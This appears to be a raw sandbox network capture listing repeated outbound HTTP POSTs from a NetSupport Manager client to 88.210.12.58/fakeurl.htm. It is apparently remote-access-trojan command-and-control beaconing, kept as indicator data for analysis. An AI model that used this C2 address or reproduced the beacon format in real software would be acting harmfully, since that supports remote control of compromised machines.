Dec 6, 2024 10:41:17.786751032 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:18.321108103 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:18.425533056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:18.522674084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:18.623683929 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:18.725537062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:18.824686050 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:18.924679041 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.025773048 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.125693083 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.225725889 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.326679945 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.426687002 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.526736021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.627692938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.727703094 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.828728914 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:19.929708958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:20.030827999 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:20.133552074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:20.233551979 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:20.341458082 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:20.443475008 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:20.682840109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.097173929 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.197705030 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.298727036 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.399729967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.499761105 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.599744081 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.699819088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.800726891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:21.900809050 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.001743078 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.101727962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.202774048 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.305597067 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.403882027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.503640890 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.603818893 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.726037979 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.826697111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:22.929563046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:23.027045965 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:23.127726078 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:23.545135021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:23.847692966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:23.948710918 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.048715115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.149719000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.253582001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.349705935 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.449721098 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.552086115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.650715113 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.753573895 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.852713108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:24.953473091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.053738117 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.153821945 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.253760099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.354741096 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.454731941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.554719925 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.655731916 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.756720066 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.856739998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:25.958775997 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:26.058754921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:26.174211025 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:26.277393103 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:26.595740080 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:26.699892998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:26.799719095 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:26.899682045 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:26.999789000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.103971004 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.203728914 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.304718971 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.405801058 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.506858110 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.606794119 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.707756042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.808787107 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:27.909851074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:28.009740114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:28.110769987 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:28.211844921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:28.311600924 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:28.411623001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:28.511676073 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:28.611017942 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:28.711898088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
